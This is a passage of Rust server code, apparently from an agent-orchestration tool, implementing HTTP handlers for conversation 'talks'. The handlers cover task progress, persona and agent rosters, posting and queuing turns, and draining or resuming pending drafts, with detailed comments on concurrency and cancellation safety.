9042        body.strip_prefix("magi: ").unwrap_or(body)
9043    };
9044    Some(md::to_nodes(text, &md::ImageBase::None))
9045}
9046
9047/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9048/// conversation has filed, so the phone can follow one from inside the
9049/// conversation that asked for it rather than hunting the Queue for a task id
9050/// it may not remember.
9051#[derive(Debug, Serialize)]
9052struct TalkDetailView {
9053    #[serde(flatten)]
9054    view: TalkView,
9055    tasks: Vec<TaskView>,
9056    task_progress: TalkTaskProgress,
9057    /// The agents this talk's repository can switch to; empty when its
9058    /// configuration cannot be read, which must not fail the whole detail.
9059    roster: Vec<RosterEntry>,
9060    /// The personas the conversation can pick from. The built-ins are always
9061    /// listed, even when the repository's configuration cannot be read.
9062    personas: Vec<PersonaEntry>,
9063}
9064
9065/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9066#[derive(Debug, Serialize)]
9067struct TalkTaskProgress {
9068    state: &'static str,
9069    total: usize,
9070    done: usize,
9071    counts: std::collections::BTreeMap<&'static str, usize>,
9072    unfinished_ids: Vec<String>,
9073}
9074
9075fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9076    let mut counts = std::collections::BTreeMap::from([
9077        ("queued", 0),
9078        ("running", 0),
9079        ("done", 0),
9080        ("failed", 0),
9081        ("held", 0),
9082        ("blocked", 0),
9083        ("parked", 0),
9084    ]);
9085    let mut unfinished_ids = Vec::new();
9086    for task in tasks {
9087        *counts.entry(task.status.as_str()).or_default() += 1;
9088        if task.status != TaskStatus::Done {
9089            unfinished_ids.push(task.id.clone());
9090        }
9091    }
9092    TalkTaskProgress {
9093        state: if tasks.is_empty() {
9094            "none"
9095        } else if unfinished_ids.is_empty() {
9096            "complete"
9097        } else {
9098            "incomplete"
9099        },
9100        total: tasks.len(),
9101        done: tasks.len() - unfinished_ids.len(),
9102        counts,
9103        unfinished_ids,
9104    }
9105}
9106
9107/// One persona as the talk's persona selector shows it.
9108#[derive(Debug, Serialize)]
9109struct PersonaEntry {
9110    id: String,
9111    name: String,
9112    /// Avatar URL, see [`TalkView::persona_avatar`].
9113    avatar: String,
9114}
9115
9116/// One roster agent as the talk's agent selector shows it.
9117#[derive(Debug, Serialize)]
9118struct RosterEntry {
9119    id: String,
9120    kind: AgentKind,
9121    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9122    runnable: bool,
9123}
9124
9125/// Bounded summaries; `/page` carries a cursor for older membership.
9126async fn talks_list(
9127    State(ui): State<Arc<Ui>>,
9128    Query(q): Query<ListQuery>,
9129    headers: header::HeaderMap,
9130) -> ApiResult<Json<Vec<TalkListView>>> {
9131    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9132        let limit = q.limit.unwrap_or(50).min(50);
9133        let ids = if let Some(ids) = q.ids {
9134            ids.split(',')
9135                .filter(|id| plain_record_id(id))
9136                .take(limit)
9137                .map(str::to_owned)
9138                .collect()
9139        } else {
9140            page_ids(&ui, true, PageQuery::default())?
9141                .0
9142                .into_iter()
9143                .take(limit.min(STORE_PAGE_SIZE))
9144                .collect()
9145        };
9146        Ok(Json(talk_rows(&ui, ids, &headers)))
9147    })
9148    .await
9149}
9150
9151/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9152/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9153/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9154/// end still opens a talk against an older binary.
9155#[derive(Debug, Default, Deserialize)]
9156#[serde(default)]
9157struct NewTalk {
9158    agent: Option<String>,
9159    repo: Option<PathBuf>,
9160    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9161    /// wrong type is dropped like a stale value instead of failing the request;
9162    /// each falls back to its default on its own (see [`talk::begin_with`]).
9163    preferred_agent: Option<serde_json::Value>,
9164    persona: Option<serde_json::Value>,
9165    implementers: Option<serde_json::Value>,
9166}
9167
9168/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9169/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9170async fn talk_post(
9171    State(ui): State<Arc<Ui>>,
9172    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9173) -> ApiResult<impl IntoResponse> {
9174    // An absent body, or an empty one, is the normal way to open a talk - see
9175    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9176    // rather than refused.
9177    let body = match body {
9178        Ok(Json(body)) => body,
9179        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9180        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9181    };
9182    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9183    let cfg = config_for(&repo).await?;
9184    let view = blocking(move || {
9185        let preferred = talk::Preferred {
9186            agent: body
9187                .preferred_agent
9188                .as_ref()
9189                .and_then(|v| v.as_str())
9190                .map(str::to_owned),
9191            persona: body
9192                .persona
9193                .as_ref()
9194                .and_then(|v| v.as_str())
9195                .map(str::to_owned),
9196            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9197        };
9198        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9199        let thinking = ui.is_thinking(&talk.id);
9200        Ok(TalkView::new(talk, thinking, &ui))
9201    })
9202    .await?;
9203    Ok((StatusCode::CREATED, Json(view)))
9204}
9205
9206/// Transcript first: unrelated queue history and repository probes are deferred.
9207async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9208    // Keep transcript reads independent of sections and the runtime blocking pool.
9209    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9210        let id = resolve_talk(&ui.talks, &id)?;
9211        let talk = ui.talks.get(&id)?;
9212        let thinking = ui.is_thinking_observed(&id);
9213        // The browser already resolves Markdown text/code references after
9214        // rendering. A cold reference/review index must not gate the transcript.
9215        Ok(Json(TalkView::with_references(
9216            talk,
9217            thinking,
9218            None,
9219            &ui.home,
9220            &id_links::IdIndex::default(),
9221        )))
9222    })
9223    .await
9224}
9225
9226async fn talk_sections(
9227    State(ui): State<Arc<Ui>>,
9228    Path(id): Path<String>,
9229) -> ApiResult<Json<serde_json::Value>> {
9230    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9231        let id = resolve_talk(&ui.talks, &id)?;
9232        let talk = ui.talks.get(&id)?;
9233        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9234        let task_progress = talk_task_progress(&tasks);
9235        let tasks: Vec<_> = tasks
9236            .into_iter()
9237            .map(|task| {
9238                serde_json::json!({
9239                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9240                })
9241            })
9242            .collect();
9243        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9244        let roster: Vec<_> = cfg
9245            .as_ref()
9246            .map(|cfg| {
9247                cfg.agents
9248                    .iter()
9249                    .map(|a| RosterEntry {
9250                        id: a.id.clone(),
9251                        kind: a.kind,
9252                        runnable: agent::installed(a),
9253                    })
9254                    .collect()
9255            })
9256            .unwrap_or_default();
9257        let specs = cfg
9258            .as_ref()
9259            .map(|cfg| cfg.talk.personas.clone())
9260            .unwrap_or_default();
9261        let personas: Vec<_> = persona::catalog(&specs)
9262            .into_iter()
9263            .map(|p| PersonaEntry {
9264                avatar: avatar_url(&ui.home, &talk.id, &p),
9265                id: p.id,
9266                name: p.name,
9267            })
9268            .collect();
9269        let active_persona = persona::find(&specs, &talk.persona)
9270            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9271        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9272        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9273        Ok(Json(serde_json::json!({
9274            "tasks": tasks, "task_progress": task_progress,
9275            "roster": roster, "personas": personas,
9276            "context": talk::context_usage(&talk, cfg.as_ref()),
9277            "context_for": talk.updated_at,
9278            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9279            "persona_name": persona_name,
9280            "persona_avatar": persona_avatar,
9281        })))
9282    })
9283    .await
9284}
9285
9286/// `GET /api/talks/{id}`.
9287async fn talk_detail(
9288    State(ui): State<Arc<Ui>>,
9289    Path(id): Path<String>,
9290) -> ApiResult<Json<TalkDetailView>> {
9291    blocking(move || {
9292        let id = resolve_talk(&ui.talks, &id)?;
9293        let talk = ui.talks.get(&id)?;
9294        let thinking = ui.is_thinking_observed(&talk.id);
9295        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9296        let task_progress = talk_task_progress(&tasks);
9297        let tasks = tasks.into_iter().map(TaskView::from).collect();
9298        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9299        let roster = cfg
9300            .as_ref()
9301            .map(|cfg| {
9302                cfg.agents
9303                    .iter()
9304                    .map(|a| RosterEntry {
9305                        id: a.id.clone(),
9306                        kind: a.kind,
9307                        runnable: agent::installed(a),
9308                    })
9309                    .collect()
9310            })
9311            .unwrap_or_default();
9312        let specs = cfg
9313            .as_ref()
9314            .map(|cfg| cfg.talk.personas.clone())
9315            .unwrap_or_default();
9316        let personas = persona::catalog(&specs)
9317            .into_iter()
9318            .map(|p| PersonaEntry {
9319                avatar: avatar_url(&ui.home, &talk.id, &p),
9320                id: p.id,
9321                name: p.name,
9322            })
9323            .collect();
9324        Ok(Json(TalkDetailView {
9325            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9326            tasks,
9327            task_progress,
9328            roster,
9329            personas,
9330        }))
9331    })
9332    .await
9333}
9334
9335/// The body of `POST /api/talks/{id}/say`.
9336///
9337/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9338/// returned - never bytes of its own - so a turn with no images just omits
9339/// the field, which is what an older front end still does.
9340#[derive(Debug, Default, Deserialize)]
9341#[serde(default, deny_unknown_fields)]
9342struct NewTalkTurn {
9343    reply_to: Option<talk::ReplyTarget>,
9344    text: String,
9345    attachments: Vec<String>,
9346}
9347
9348#[derive(Debug, Deserialize)]
9349#[serde(deny_unknown_fields)]
9350struct EditTalkPending {
9351    #[serde(default)]
9352    message: Option<usize>,
9353    text: String,
9354    expected_text: String,
9355    expected_attachments: Vec<String>,
9356}
9357
9358#[derive(Debug, Deserialize)]
9359#[serde(deny_unknown_fields)]
9360struct ClearTalkPending {
9361    expected_text: String,
9362    expected_attachments: Vec<String>,
9363}
9364
9365/// `POST /api/talks/{id}/say` - one turn of the conversation.
9366///
9367/// Not filesystem work, and therefore not routed through [`blocking`]: this
9368/// route spawns an agent CLI and a turn here can run for the whole of
9369/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9370/// research turn is expected to run commands rather than answer from what it
9371/// already knows. Holding an HTTP connection open that long is not a thing
9372/// to ask a phone to do; the operator's message is recorded and answered for
9373/// immediately, and the reply lands in the background, discovered through
9374/// the change stream's `talks_rev` the same way every other update on this
9375/// surface is.
9376async fn talk_say(
9377    State(ui): State<Arc<Ui>>,
9378    Path(id): Path<String>,
9379    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9380) -> ApiResult<(StatusCode, Json<TalkView>)> {
9381    let admission = ui.begin_admission()?;
9382    admitted(admission, async move {
9383    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9384    if body.text.trim().is_empty() && body.attachments.is_empty() {
9385        return Err(ApiError::bad_request("say something"));
9386    }
9387
9388    let id = {
9389        let ui = Arc::clone(&ui);
9390        let asked = id.clone();
9391        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9392    };
9393    // A closed Talk never accepts a new immediate or queued turn. Check this
9394    // before claiming a slot so its ordinary domain refusal is a 409, not an
9395    // incidental failure from the later record/queue write.
9396    {
9397        let ui = Arc::clone(&ui);
9398        let id = id.clone();
9399        blocking(move || {
9400            let talk = ui.talks.get(&id)?;
9401            if !talk.status.open() {
9402                return Err(ApiError::conflict(format!(
9403                    "talk {} is {} and takes no more turns",
9404                    talk.short(),
9405                    talk.status.as_str()
9406                )));
9407            }
9408            Ok(())
9409        })
9410        .await?;
9411    }
9412
9413    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9414    // actually stores, before anything is written - an unknown id is a 4xx
9415    // that names it rather than a turn (or a queued draft) silently missing
9416    // an image.
9417    let attachments = {
9418        let ui = Arc::clone(&ui);
9419        let id = id.clone();
9420        let ids = body.attachments.clone();
9421        blocking(move || {
9422            ids.into_iter()
9423                .map(|att_id| {
9424                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9425                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9426                    })
9427                })
9428                .collect::<ApiResult<Vec<talk::Attachment>>>()
9429        })
9430        .await?
9431    };
9432    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9433        .await.map_err(ApiError::from)?;
9434
9435    // Pending recovery and a new immediate turn are decided under the same
9436    // claim lock. Without that one critical section, a second `/say` can see
9437    // the first request's claim as "busy" and append itself to the recovered
9438    // draft before the first request rejects it.
9439    let start = {
9440        let ui = Arc::clone(&ui);
9441        let id = id.clone();
9442        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9443    };
9444    let turn_guard = match start {
9445        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9446        TalkTurnStart::Pending => {
9447            return Err(ApiError::conflict(
9448                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9449            ));
9450        }
9451        TalkTurnStart::Foreign => {
9452            return Err(ApiError::conflict(
9453                "a turn is already running in another process; try again when it has finished",
9454            ));
9455        }
9456        TalkTurnStart::Busy => {
9457            // A turn is already running: queue rather than refuse. See
9458            // `Ui::begin_talk_turn` and `talk::queue`.
9459            //
9460            // The queue write and the drain it may owe live inside the task
9461            // `tokio::spawn` hands to the runtime, for the same reason the
9462            // immediate path below puts `record` there: a dropped handler
9463            // future must not be able to land between a durable write and
9464            // the task that answers it. `blocking` runs its closure on
9465            // `spawn_blocking`, which finishes whether or not anyone is left
9466            // to receive its result - so a disconnect at the `.await` below
9467            // would otherwise leave the draft persisted and the reclaimed
9468            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9469            // ever started and the queued text stranded until some later
9470            // `say` happened to pick it up. The caller's 202 travels back
9471            // over a `oneshot`, sent the moment the write lands.
9472            let (tx, rx) = tokio::sync::oneshot::channel();
9473            tokio::spawn({
9474                let ui = Arc::clone(&ui);
9475                let id = id.clone();
9476                let said = body.text.clone();
9477                let reply_to = body.reply_to.clone();
9478                async move {
9479                    let written = blocking({
9480                        let ui = Arc::clone(&ui);
9481                        let id = id.clone();
9482                        move || {
9483                            let mut talk = ui.talks.get(&id)?;
9484                            // A test-only stop point, right before the write
9485                            // an interleaving test needs to pin - see
9486                            // `BusyQueueGate`. `None` in every real server:
9487                            // the field only exists under `#[cfg(test)]`.
9488                            #[cfg(test)]
9489                            if let Some(gate) = ui
9490                                .busy_queue_gate
9491                                .lock()
9492                                .unwrap_or_else(PoisonError::into_inner)
9493                                .take()
9494                            {
9495                                let _ = gate.reached.send(());
9496                                let _ = gate.release.recv();
9497                            }
9498                            if let Err(error) = talk::queue_reply(
9499                                &mut talk,
9500                                &ui.talks,
9501                                &said,
9502                                attachments,
9503                                reply_to,
9504                            ) {
9505                                if let Ok(fresh) = ui.talks.get(&id) {
9506                                    if !fresh.status.open() {
9507                                        return Err(ApiError::conflict(format!(
9508                                            "talk {} is {} and takes no more turns",
9509                                            fresh.short(),
9510                                            fresh.status.as_str()
9511                                        )));
9512                                    }
9513                                }
9514                                return Err(
9515                                    if error.to_string().contains("invalid reply target") {
9516                                        ApiError::bad_request("invalid reply target")
9517                                    } else {
9518                                        ApiError::from(error)
9519                                    },
9520                                );
9521                            }
9522                            // The turn that looked busy a moment ago can have
9523                            // finished, found nothing to drain and given up the
9524                            // slot in the gap between that check and this write
9525                            // landing - see `drain_loop`'s own doc for the other
9526                            // half of why that gap would otherwise be able to
9527                            // open at all. Reclaiming the slot here, rather than
9528                            // trusting that whoever held it is still watching, is
9529                            // what stops the text just queued from being stranded
9530                            // until an unrelated future `say` happens to drain
9531                            // it.
9532                            let claim = match ui.begin_queued_talk_turn(&id)? {
9533                                Some(turn_guard) => {
9534                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9535                                    Some((talk.clone(), cfg, turn_guard))
9536                                }
9537                                None => None,
9538                            };
9539                            let thinking = ui.is_thinking(&id);
9540                            Ok((TalkView::new(talk, thinking, &ui), claim))
9541                        }
9542                    })
9543                    .await;
9544                    #[cfg(not(test))]
9545                    {
9546                        match written {
9547                            Ok((view, reclaimed)) => {
9548                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9549                                drop(reclaimed);
9550                                match launched {
9551                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9552                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9553                                }
9554                            }
9555                            Err(error) => { let _ = tx.send(Err(error)); }
9556                        }
9557                    }
9558                    #[cfg(test)]
9559                    {
9560                    let (view, reclaimed) = match written {
9561                        Ok(pair) => pair,
9562                        Err(e) => {
9563                            // Nobody is listening if the handler's own future
9564                            // was already dropped - that is fine, nothing was
9565                            // persisted and there is no response left to carry
9566                            // this error to.
9567                            let _ = tx.send(Err(e));
9568                            return;
9569                        }
9570                    };
9571                    // If this fails, the caller is gone; the drain below still
9572                    // runs exactly as it would have for a caller that stayed.
9573                    let _ = tx.send(Ok(view));
9574                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9575                        let talks = ui.talks.clone();
9576                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9577                    }
9578                    }
9579                }
9580            });
9581            let view = rx
9582                .await
9583                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9584            return Ok((StatusCode::ACCEPTED, Json(view)));
9585        }
9586    };
9587
9588    let (talk, cfg) = {
9589        let ui = Arc::clone(&ui);
9590        let id = id.clone();
9591        blocking(move || {
9592            let talk = ui.talks.get(&id)?;
9593            let (cfg, _) = Config::discover(&talk.repo, None)?;
9594            Ok((talk, cfg))
9595        })
9596        .await?
9597    };
9598
9599    let talks = ui.talks.clone();
9600    // `record` runs *inside* the spawned task, rather than in this handler
9601    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9602    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9603    // doc), and that drop can land at any `.await` this function makes,
9604    // including one that has already produced its result but not yet
9605    // resumed. A message could end up recorded on disk with the handler
9606    // future gone before it ever reached the `tokio::spawn` that would have
9607    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9608    // that hands the whole future to the runtime as one unit - once made, no
9609    // later drop of *this* handler's own future (that call's return value is
9610    // never held onto here) can reach back in and stop it, so record and the
9611    // hand-off to `respond` are unconditionally atomic from the client's
9612    // point of view. The immediate response this handler owes the caller
9613    // travels back over a `oneshot`, sent the moment `record` succeeds.
9614    let (tx, rx) = tokio::sync::oneshot::channel();
9615    tokio::spawn({
9616        #[cfg(test)]
9617        let ui = Arc::clone(&ui);
9618        let talks = talks.clone();
9619        let id = id.clone();
9620        let said = body.text.clone();
9621        let reply_to = body.reply_to.clone();
9622        let mut talk = talk.clone();
9623        async move {
9624            let recorded = blocking({
9625                let talks = talks.clone();
9626                move || {
9627                    if let Err(error) =
9628                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9629                    {
9630                        if let Ok(fresh) = talks.get(&talk.id) {
9631                            if !fresh.status.open() {
9632                                return Err(ApiError::conflict(format!(
9633                                    "talk {} is {} and takes no more turns",
9634                                    fresh.short(),
9635                                    fresh.status.as_str()
9636                                )));
9637                            }
9638                        }
9639                        return Err(if error.to_string().contains("invalid reply target") {
9640                            ApiError::bad_request("invalid reply target")
9641                        } else {
9642                            ApiError::from(error)
9643                        });
9644                    }
9645                    // `record` mutates `talk` in place to the freshly persisted
9646                    // state (status, pending, and the just-appended operator
9647                    // turn), so returning it here is equivalent to re-reading it
9648                    // from disk - without the extra round trip a re-read would
9649                    // need.
9650                    Ok((said.trim().to_owned(), talk))
9651                }
9652            })
9653            .await;
9654            let (text, talk) = match recorded {
9655                Ok(pair) => pair,
9656                Err(e) => {
9657                    // Nobody is listening if the handler's own future was
9658                    // already dropped - that is fine, there is no response
9659                    // left to carry this error to and nothing was persisted.
9660                    let _ = tx.send(Err(e));
9661                    return;
9662                }
9663            };
9664            #[cfg(not(test))]
9665            {
9666                let _ = (&cfg, &text);
9667                // The reservation becomes durable while this process still
9668                // holds the talk lease. The child waits for that lease; the
9669                // new UI sees its startup reservation immediately.
9670                let result = crate::chat_worker::spawn_recorded_turn(
9671                    &talks, &id, talk.turns.len() - 1,
9672                ).await;
9673                drop(turn_guard);
9674                match result {
9675                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9676                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9677                }
9678            }
9679            #[cfg(test)]
9680            {
9681            let queued = talk.clone();
9682            let mut talk = talk;
9683            let thinking = ui.is_thinking(&id);
9684            // If this fails, the caller is gone; the turn still runs below
9685            // exactly as it would have for a caller that stayed connected.
9686            let _ = tx.send(Ok((queued, thinking)));
9687
9688            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9689                // `respond` records the failure in the transcript itself,
9690                // which is what the phone reads; this line is for the
9691                // operator's terminal.
9692                tracing::warn!("talk {id} turn failed: {e:#}");
9693            }
9694            // Anything `talk::queue` added while the turn above was running
9695            // is still owed an answer - see `drain_loop`.
9696            drain_loop(talk, talks, cfg, id, turn_guard).await;
9697            }
9698        }
9699    });
9700
9701    let (queued, thinking) = rx
9702        .await
9703        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9704
9705    // 202: the operator's message is recorded and a turn is running.
9706    Ok((
9707        StatusCode::ACCEPTED,
9708        Json(TalkView::new(queued, thinking, &ui)),
9709    ))
9710    }).await
9711}
9712
9713/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9714/// changing it. The turn guard is the same per-talk ownership `talk_say`
9715/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9716async fn talk_pending_resume(
9717    State(ui): State<Arc<Ui>>,
9718    Path(id): Path<String>,
9719) -> ApiResult<(StatusCode, Json<TalkView>)> {
9720    let admission = ui.begin_admission()?;
9721    admitted(admission, async move {
9722        let id = {
9723            let ui = Arc::clone(&ui);
9724            let asked = id.clone();
9725            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9726        };
9727        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9728            .await
9729            .map_err(ApiError::from)?;
9730        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9731            return Err(ApiError::conflict(
9732                "a talk turn is already running; the queued draft will be handled by it",
9733            ));
9734        };
9735        let (talk, cfg) = {
9736            let ui = Arc::clone(&ui);
9737            let id = id.clone();
9738            blocking(move || {
9739                let talk = ui.talks.get(&id)?;
9740                if !talk.status.open() {
9741                    return Err(ApiError::conflict(format!(
9742                        "talk {} is {} and takes no more turns",
9743                        talk.short(),
9744                        talk.status.as_str()
9745                    )));
9746                }
9747                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9748                    return Err(ApiError::conflict("there is no queued draft to resume"));
9749                }
9750                let (cfg, _) = Config::discover(&talk.repo, None)?;
9751                Ok((talk, cfg))
9752            })
9753            .await?
9754        };
9755        let view = TalkView::new(talk.clone(), true, &ui);
9756        let talks = ui.talks.clone();
9757        #[cfg(not(test))]
9758        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9759        #[cfg(test)]
9760        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9761        Ok((StatusCode::ACCEPTED, Json(view)))
9762    })
9763    .await
9764}
9765
9766/// Hand off an admitted draft while retaining the talk lease until its
9767/// detached startup reservation is durable.
9768#[cfg(not(test))]
9769async fn detach_talk_turn(
9770    _talk: Talk,
9771    talks: Talks,
9772    _cfg: Config,
9773    id: String,
9774    turn: TalkTurnGuard,
9775) -> ApiResult<()> {
9776    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9777    drop(turn);
9778    launched.map(|_| ()).map_err(ApiError::from)
9779}
9780
9781#[cfg(test)]
9782async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9783    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9784}
9785
9786/// A settings response must not report idle while its claim is still held.
9787/// Wait until the first drain either releases the claim or promotes a draft.
9788/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9789async fn settle_settings_turn(
9790    talk: Talk,
9791    talks: Talks,
9792    cfg: Config,
9793    id: String,
9794    turn: TalkTurnGuard,
9795    observed: u64,
9796) -> bool {
9797    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9798        let turns = Arc::clone(&turn.turns);
9799        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9800        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9801            // Release under the arrival lock; a later `/say` takes its own claim.
9802            turn.release(&mut live);
9803            return false;
9804        }
9805    }
9806    let (started, settled) = tokio::sync::oneshot::channel();
9807    tokio::spawn(drain_loop_started(
9808        talk,
9809        talks,
9810        cfg,
9811        id,
9812        turn,
9813        Some(started),
9814    ));
9815    settled.await.unwrap_or(false)
9816}
9817
9818#[cfg(not(test))]
9819async fn drain_loop_started(
9820    talk: Talk,
9821    talks: Talks,
9822    _cfg: Config,
9823    id: String,
9824    turn: TalkTurnGuard,
9825    started: Option<tokio::sync::oneshot::Sender<bool>>,
9826) {
9827    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9828    let running = if pending {
9829        match crate::chat_worker::spawn_turn(&talks, &id).await {
9830            Ok(_) => true,
9831            Err(error) => {
9832                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9833                false
9834            }
9835        }
9836    } else {
9837        false
9838    };
9839    drop(turn);
9840    if let Some(started) = started {
9841        let _ = started.send(running);
9842    }
9843}
9844
9845// Existing in-process conversation tests exercise transcript/arrival ordering;
9846// real process-lifetime behavior is covered by the CLI integration tests.
9847#[cfg(test)]
9848async fn drain_loop_started(
9849    mut talk: Talk,
9850    talks: Talks,
9851    cfg: Config,
9852    id: String,
9853    turn: TalkTurnGuard,
9854    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9855) {
9856    let live_set = Arc::clone(&turn.turns);
9857    // `Option` rather than binding `turn` directly to a `_turn` that lives
9858    // for the whole function: releasing it has to happen by calling
9859    // `TalkTurnGuard::release` from inside the locked branch below, which
9860    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9861    // remove the id - correctly, if this loop is ever left some other way -
9862    // but doing it there misses the lock this loop is already holding, which
9863    // is the exact gap `release` exists to close.
9864    let mut turn = Some(turn);
9865    loop {
9866        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9867            // The lease was taken over while a turn ran. Whatever is queued
9868            // stays a draft; running it here would race the new owner.
9869            tracing::warn!("talk {id} lost its turn lease; not draining further");
9870            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9871            if let Some(turn) = turn.take() {
9872                turn.release(&mut live);
9873            }
9874            break;
9875        }
9876        // `talk::drain` takes the store lock and can write/rename the talk
9877        // file. Keep the turn mutex out of that synchronous work: it protects
9878        // every talk's in-memory claim, not this talk's disk operation.
9879        let observed = live_set
9880            .lock()
9881            .unwrap_or_else(PoisonError::into_inner)
9882            .queued
9883            .get(&id)
9884            .copied()
9885            .unwrap_or(0);
9886        let drained = blocking({
9887            let talks = talks.clone();
9888            move || {
9889                let result = talk::drain(&mut talk, &talks);
9890                Ok((talk, result))
9891            }
9892        })
9893        .await;
9894        let (next_talk, result) = match drained {
9895            Ok(drained) => drained,
9896            Err(e) => {
9897                tracing::warn!(
9898                    status = %e.status,
9899                    message = %e.message,
9900                    "talk {id} could not start queued-text drain"
9901                );
9902                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9903                turn.take()
9904                    .expect("held for the whole loop until released here")
9905                    .release(&mut live);
9906                break;
9907            }
9908        };
9909        talk = next_talk;
9910        let drained = match result {
9911            Ok(Some(drained)) => drained,
9912            Ok(None) => {
9913                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9914                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9915                    continue;
9916                }
9917                turn.take()
9918                    .expect("held for the whole loop until released here")
9919                    .release(&mut live);
9920                break;
9921            }
9922            Err(e) => {
9923                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9924                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9925                turn.take()
9926                    .expect("held for the whole loop until released here")
9927                    .release(&mut live);
9928                break;
9929            }
9930        };
9931        if let Some(started) = started.take() {
9932            let _ = started.send(true);
9933        }
9934        let responded = match turn.as_ref() {
9935            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9936            None => Err(anyhow::anyhow!("the turn guard was released")),
9937        };
9938        if let Err(e) = responded {
9939            tracing::warn!("talk {id} turn failed: {e:#}");
9940        }
9941    }
9942    drop(turn);
9943    if let Some(started) = started {
9944        let _ = started.send(false);
9945    }
9946}
9947
9948/// Clear a queued draft only if it remains exactly the one the caller saw.
9949async fn talk_pending_clear(
9950    State(ui): State<Arc<Ui>>,
9951    Path(id): Path<String>,
9952    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9953) -> ApiResult<Json<TalkView>> {
9954    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9955    blocking(move || {
9956        let id = resolve_talk(&ui.talks, &id)?;
9957        let mut talk = ui.talks.get(&id)?;
9958        if !talk.status.open() {
9959            return Err(ApiError::conflict(format!(
9960                "talk {} is {} and takes no more turns",
9961                talk.short(),
9962                talk.status.as_str()
9963            )));
9964        }
